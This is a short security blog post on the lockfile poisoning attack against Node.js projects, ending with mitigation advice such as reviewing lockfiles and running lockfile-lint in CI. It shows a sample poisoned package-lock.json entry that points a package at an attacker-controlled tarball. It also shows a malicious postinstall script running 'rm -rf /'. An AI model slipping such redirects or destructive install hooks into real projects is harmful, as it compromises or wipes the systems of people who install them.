Lockfile Poisoned Attack

Written by Ulises Gascón

Apr 08, 20202 min read

The Attack

This attack is very specific to the Nodejs ecosystem and it was discovered in 2019 by Liran Tal.

It is quite common to include external dependencies in Nodejs. The ecosystem is heavily based in NPM Registry (+1M packages).

Most projects manage their dependencies using the Npm official client or Yarn. A few years ago, both tools introduced the lockfile concept to the ecosystem (package-lock.json and yarn.lock).

If the project has a lockfile available, the package manager will install the dependencies from the lockfile as the primary source of truth. This lead us to a new vector where a malicious actor can submit a poisonous dependency through the lockfile as most of maintainers don't review the lockfiles during the PR Reviews.

This is a regular package-lock.json.

{
  "name": "my-project",
  "version": "0.0.1",
  "lockfileVersion": 1,
  "requires": true,
  "dependencies": {
    "@babel/code-frame": {
      "version": "7.8.3",
      "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.8.3.tgz",
      "integrity": "sha512-a9gxpmdXtZEInkCSHUJDLHZVBgb1QS0jhss4cPP93EW7s+uC5bikET2twEF3KV+7rDblJcmNvTR7VJejqd2C2g==",
      "dev": true,
      "requires": {
        "@babel/highlight": "^7.8.3"
      }
    }
    //...
  }
}

The malicious attack takes place when the resolved and integrity are not corresponding to official sources:

{
  "name": "my-project",
  "version": "0.0.1",
  "lockfileVersion": 1,
  "requires": true,
  "dependencies": {
    "@babel/code-frame": {
      "version": "7.8.3",
      "resolved": "https://github.com/evil-user/code-frame/tarball/master",
      "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==",
      "dev": true,
      "requires": {
        "@babel/highlight": "^7.8.3"
      }
    }
    //...
  }
}

So the risk in this case is that @babel/code-frame is not installed from the NPM registry. This can lead to many attacks based on the npm lifecycle (pre-install, post-install...)

As an example of malicious script added in the poisoned version of @babel/code-frame

"scripts": {
   "postinstall": "rm -rf /",
}

The solution

There are no definitive solutions to avoid this attack, but it can be highly mitigated.

Mitigation

  • Always review the lockfiles in the PRs.
  • Use a tool to check the lockfile sources enables like lockfile-lint
    npx lockfile-lint --path yarn.lock --type yarn --validate-https --allowed-hosts yarnpkg.org
    
  • Include the validation tools in the CI process (testing phase and security checks)
  • Optional: You can include the sources validation with Git Hooks too (using Husky)

Refs